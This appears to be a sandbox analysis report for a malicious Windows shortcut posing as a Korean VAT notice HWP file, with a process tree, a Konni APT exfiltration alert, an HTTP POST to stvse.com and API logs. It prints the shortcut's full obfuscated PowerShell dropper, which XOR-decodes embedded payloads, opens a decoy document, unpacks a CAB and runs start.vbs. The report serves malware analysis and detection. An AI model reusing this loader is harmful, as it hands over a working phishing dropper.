Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	June 27, 2024, 5:13 p.m.	June 27, 2024, 5:16 p.m.

Size	62.9MB
Type	MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5	`6eee6fa92a270b1f32390eec50512eea`
SHA256	`183fb85fc915017104cd473f8f3ad515a54603e38fd4463214adcbf84b421183`
CRC32	`E0112929`
ssdeep	`3072:JaE7c6hknR8CMis/ozg0WCIB3oBSKcBdKjoKBDKRZ1/dO:HX/9/oIySbI8KNw/dO`
Yara	Lnk_Format_Zero - LNK Format lnk_file_format - Microsoft Windows Shortcut File Format

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "iyfsPiQmGGeVn" "C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk"
2636
- cmd.exe "C:\Windows\system32\cmd.exe" /c p^owe^rshe^l^l -windowstyle hidden function hyroGAN{param($gRRXdaln); $SEXiGo=Get''-C\"\"h''ild''I\"\"t\"\"e\"\"m -Path $gRRXdaln -Recurse *.lnk ^| wh\"\"er\"\"e\"\"-o\"\"bje''ct {$_.length -eq 0x03EE569C} ^| Sel''ect''-O\"\"bj\"\"e\"\"ct -ExpandProperty FullName; return $SEXiGo;};function DGTZUkn{param($FjFfNJyV,$NVUYZYa,$uJMIAV,$OPURoQ,$JiOPSEnH); $KhPAKsCs=New\"\"-Ob''jec\"\"t System.IO.FileStream($FjFfNJyV,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read); $KhPAKsCs.Seek($NVUYZYa,[System.IO.SeekOrigin]::Begin); $MlqewZMb=Ne\"\"w\"\"-O''bj\"\"e''ct byte[] $uJMIAV; $KhPAKsCs.Read($MlqewZMb,0,$uJMIAV); $KhPAKsCs.Close();for($PKVgpCbI=0;$PKVgpCbI -lt $uJMIAV;$PKVgpCbI++){$MlqewZMb[$PKVgpCbI]=$MlqewZMb[$PKVgpCbI] -bxor $OPURoQ;}sc $JiOPSEnH $MlqewZMb -Encoding Byte;};$JQCcrJ=Get\"\"-Lo\"\"c\"\"at''io\"\"n;$qurxYiEA=hyroGAN -gRRXdaln $JQCcrJ;if($qurxYiEA.length -eq 0){$qurxYiEA=hyroGAN -gRRXdaln $env:Temp;} $JQCcrJ=S''p\"\"lit\"\"-Pa\"\"t\"\"h $qurxYiEA;$TweLdPR = $qurxYiEA.substring(0,$qurxYiEA.length-4) + '';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00001C90 -uJMIAV 0x00011A00 -OPURoQ 0x68 -JiOPSEnH $TweLdPR;^& $TweLdPR;$LhwhYhz=$env:public + '\' + 'gRRXda.cab';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00013690 -uJMIAV 0x00013CD2 -OPURoQ 0x03 -JiOPSEnH $LhwhYhz;Rem\"\"ov''e''-I''t''em -Path $qurxYiEA -Force;expand $LhwhYhz -F:* ($env:public + '\' + 'documents');re\"\"mo''ve-\"\"i\"\"te\"\"m -path $LhwhYhz -force;$jHoteEl=$env:public+'\documents\start.vbs';^& $jHoteEl;
  2764
  - powershell.exe powershell -windowstyle hidden function hyroGAN{param($gRRXdaln); $SEXiGo=Get''-C\"\"h''ild''I\"\"t\"\"e\"\"m -Path $gRRXdaln -Recurse *.lnk | wh\"\"er\"\"e\"\"-o\"\"bje''ct {$_.length -eq 0x03EE569C} | Sel''ect''-O\"\"bj\"\"e\"\"ct -ExpandProperty FullName; return $SEXiGo;};function DGTZUkn{param($FjFfNJyV,$NVUYZYa,$uJMIAV,$OPURoQ,$JiOPSEnH); $KhPAKsCs=New\"\"-Ob''jec\"\"t System.IO.FileStream($FjFfNJyV,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read); $KhPAKsCs.Seek($NVUYZYa,[System.IO.SeekOrigin]::Begin); $MlqewZMb=Ne\"\"w\"\"-O''bj\"\"e''ct byte[] $uJMIAV; $KhPAKsCs.Read($MlqewZMb,0,$uJMIAV); $KhPAKsCs.Close();for($PKVgpCbI=0;$PKVgpCbI -lt $uJMIAV;$PKVgpCbI++){$MlqewZMb[$PKVgpCbI]=$MlqewZMb[$PKVgpCbI] -bxor $OPURoQ;}sc $JiOPSEnH $MlqewZMb -Encoding Byte;};$JQCcrJ=Get\"\"-Lo\"\"c\"\"at''io\"\"n;$qurxYiEA=hyroGAN -gRRXdaln $JQCcrJ;if($qurxYiEA.length -eq 0){$qurxYiEA=hyroGAN -gRRXdaln $env:Temp;} $JQCcrJ=S''p\"\"lit\"\"-Pa\"\"t\"\"h $qurxYiEA;$TweLdPR = $qurxYiEA.substring(0,$qurxYiEA.length-4) + '';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00001C90 -uJMIAV 0x00011A00 -OPURoQ 0x68 -JiOPSEnH $TweLdPR;& $TweLdPR;$LhwhYhz=$env:public + '\' + 'gRRXda.cab';DGTZUkn -FjFfNJyV $qurxYiEA -NVUYZYa 0x00013690 -uJMIAV 0x00013CD2 -OPURoQ 0x03 -JiOPSEnH $LhwhYhz;Rem\"\"ov''e''-I''t''em -Path $qurxYiEA -Force;expand $LhwhYhz -F:* ($env:public + '\' + 'documents');re\"\"mo''ve-\"\"i\"\"te\"\"m -path $LhwhYhz -force;$jHoteEl=$env:public+'\documents\start.vbs';& $jHoteEl;
    2872
    - Hwp.exe "C:\Program Files (x86)\Hnc\Hwp80\Hwp.exe" "C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp"
      2976
      - HimTrayIcon.exe "C:\Program Files (x86)\Hnc\Common80\HimTrayIcon.exe"
        2108
    - expand.exe "C:\Windows\system32\expand.exe" C:\Users\Public\gRRXda.cab -F:* C:\Users\Public\documents
      3040
    - wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\documents\start.vbs"
      940
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
stvse.com	A 176.97.64.174	176.97.64.174

IP Address	Status	Action
164.124.101.2	Active	Moloch
176.97.64.174	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49180 -> 176.97.64.174:80	2046820	ET MALWARE [ANY.RUN] Konni.APT Exfiltration	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (10 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 27, 2024, 5:13 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (14 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0
IsDebuggerPresent June 27, 2024, 5:13 p.m.			0	0

Command line console output was observed (50 out of 563 events)

Time & API	Arguments	Status	Return
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: M console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: t console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: R console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: F console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: E console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: x console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: a console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: n console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: n console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: U console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: t console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: t console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: V console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: n console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: C console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: g console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: h console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: t console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: M console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 27, 2024, 5:13 p.m.	buffer: c console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (45 events)

Time & API	Arguments	Status	Return
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003636e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003637e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003637e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003637e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003637e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003637e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003637e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003632a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003632a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003632a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363b68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00363c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003633e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00364068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00364068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00364068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00364068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00364068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00364068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 27, 2024, 5:13 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00364068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 27, 2024, 5:13 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, POST method with no useragent header

suspicious_request

POST http://stvse.com/upload.php

Performs some HTTP requests (1 event)

request

POST http://stvse.com/upload.php

Sends data using the HTTP POST Method (1 event)

request

POST http://stvse.com/upload.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 149 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02940000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026fb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 27, 2024, 5:13 p.m.	process_identifier: 2872 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
